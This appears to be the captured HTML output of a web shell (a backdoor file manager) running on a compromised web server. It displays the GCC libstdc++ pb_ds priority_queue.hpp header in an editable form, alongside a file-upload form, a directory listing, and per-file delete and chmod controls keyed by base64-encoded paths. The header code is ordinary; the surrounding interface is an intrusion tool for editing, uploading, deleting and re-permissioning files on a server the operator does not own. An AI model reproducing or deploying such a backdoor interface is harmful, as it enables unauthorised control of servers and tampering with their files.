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<hr>priority_queue.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM%3D&f=cHJpb3JpdHlfcXVldWUuaHBw"><input name="f" value="priority_queue.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file priority_queue.hpp
 * Contains priority_queues.
 */

#ifndef PB_DS_PRIORITY_QUEUE_HPP
#define PB_DS_PRIORITY_QUEUE_HPP

#include &lt;bits/c++config.h&gt;
#include &lt;ext/pb_ds/tag_and_trait.hpp&gt;
#include &lt;ext/pb_ds/detail/priority_queue_base_dispatch.hpp&gt;
#include &lt;ext/pb_ds/detail/standard_policies.hpp&gt;

namespace __gnu_pbds
{
  /**
   *  @defgroup heap-based Heap-Based
   *  @ingroup containers-pbds
   *
   *  @{
   */

  /**
   *  @defgroup heap-detail Base and Policy Classes
   *  @ingroup heap-based
   */

  /**
   *  A priority queue composed of one specific heap policy.
   *
   *  @tparam _Tv 	    	Value type.
   *  @tparam Cmp_Fn	    	Comparison functor.
   *  @tparam Tag 	    	Instantiating data structure type,
   *			    	see container_tag.
   *  @tparam _Alloc 	    	Allocator type.
   *
   *  Base is dispatched at compile time via Tag, from the following
   *  choices: binary_heap_tag, binomial_heap_tag, pairing_heap_tag,
   *           rc_binomial_heap_tag, thin_heap_tag
   *
   *  Base choices are: detail::binary_heap, detail::binomial_heap,
   *                    detail::pairing_heap, detail::rc_binomial_heap,
   *                    detail::thin_heap.
   */
   template&lt;typename _Tv,
	   typename Cmp_Fn = std::less&lt;_Tv&gt;,
	   typename Tag = pairing_heap_tag,
	   typename _Alloc = std::allocator&lt;char&gt; &gt;
  class priority_queue
  : public detail::container_base_dispatch&lt;_Tv, Cmp_Fn, _Alloc, Tag&gt;::type
  {
  public:
    typedef _Tv 					value_type;
    typedef Cmp_Fn 					cmp_fn;
    typedef Tag 					container_category;
    typedef _Alloc 					allocator_type;
    typedef typename allocator_type::size_type 		size_type;
    typedef typename allocator_type::difference_type 	difference_type;

  private:
    typedef typename detail::container_base_dispatch&lt;_Tv, Cmp_Fn, _Alloc,
						     Tag&gt;::type
 							base_type;
    typedef detail::rebind_traits&lt;_Alloc, _Tv&gt;		__rebind_va;

 public:
    typedef typename __rebind_va::reference 		reference;
    typedef typename __rebind_va::const_reference 	const_reference;
    typedef typename __rebind_va::pointer 	   	pointer;
    typedef typename __rebind_va::const_pointer 	const_pointer;

    typedef typename base_type::point_iterator 		point_iterator;
    typedef typename base_type::point_const_iterator 	point_const_iterator;
    typedef typename base_type::iterator 		iterator;
    typedef typename base_type::const_iterator 		const_iterator;

    priority_queue() { }

    /// Constructor taking some policy objects. r_cmp_fn will be
    /// copied by the Cmp_Fn object of the container object.
    priority_queue(const cmp_fn&amp; r_cmp_fn) : base_type(r_cmp_fn) { }

    /// Constructor taking __iterators to a range of value_types. The
    /// value_types between first_it and last_it will be inserted into
    /// the container object.
    template&lt;typename It&gt;
    priority_queue(It first_it, It last_it)
    { base_type::copy_from_range(first_it, last_it); }

    /// Constructor taking __iterators to a range of value_types and
    /// some policy objects The value_types between first_it and
    /// last_it will be inserted into the container object. r_cmp_fn
    /// will be copied by the cmp_fn object of the container object.
    template&lt;typename It&gt;
    priority_queue(It first_it, It last_it, const cmp_fn&amp; r_cmp_fn)
    : base_type(r_cmp_fn)
    { base_type::copy_from_range(first_it, last_it); }

    priority_queue(const priority_queue&amp; other)
    : base_type((const base_type&amp; )other) { }

    virtual
    ~priority_queue() { }

    priority_queue&amp;
    operator=(const priority_queue&amp; other)
    {
      if (this != &amp;other)
	{
	  priority_queue tmp(other);
	  swap(tmp);
	}
      return *this;
    }

    void
    swap(priority_queue&amp; other)
    { base_type::swap(other); }
  };
 ///@} heap-based
} // namespace __gnu_pbds
#endif
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQ="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=YXNzb2NfY29udGFpbmVyLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=YXNzb2NfY29udGFpbmVyLmhwcA=="/>assoc_container.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=YXNzb2NfY29udGFpbmVyLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>30114</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>detail</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=ZGV0YWls&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=ZXhjZXB0aW9uLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=ZXhjZXB0aW9uLmhwcA=="/>exception.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=ZXhjZXB0aW9uLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>2989</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=aGFzaF9wb2xpY3kuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=aGFzaF9wb2xpY3kuaHBw"/>hash_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=aGFzaF9wb2xpY3kuaHBw&c=`+btoa(c):0" value="0644"></td><td>16815</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=bGlzdF91cGRhdGVfcG9saWN5LmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=bGlzdF91cGRhdGVfcG9saWN5LmhwcA=="/>list_update_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=bGlzdF91cGRhdGVfcG9saWN5LmhwcA==&c=`+btoa(c):0" value="0644"></td><td>4318</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=cHJpb3JpdHlfcXVldWUuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=cHJpb3JpdHlfcXVldWUuaHBw"/>priority_queue.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=cHJpb3JpdHlfcXVldWUuaHBw&c=`+btoa(c):0" value="0644"></td><td>5450</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=dGFnX2FuZF90cmFpdC5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dGFnX2FuZF90cmFpdC5ocHA="/>tag_and_trait.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dGFnX2FuZF90cmFpdC5ocHA=&c=`+btoa(c):0" value="0644"></td><td>12273</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=dHJlZV9wb2xpY3kuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dHJlZV9wb2xpY3kuaHBw"/>tree_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dHJlZV9wb2xpY3kuaHBw&c=`+btoa(c):0" value="0644"></td><td>5569</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&x=dHJpZV9wb2xpY3kuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dHJpZV9wb2xpY3kuaHBw"/>trie_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHM=&f=dHJpZV9wb2xpY3kuaHBw&c=`+btoa(c):0" value="0644"></td><td>12201</td></tr></table>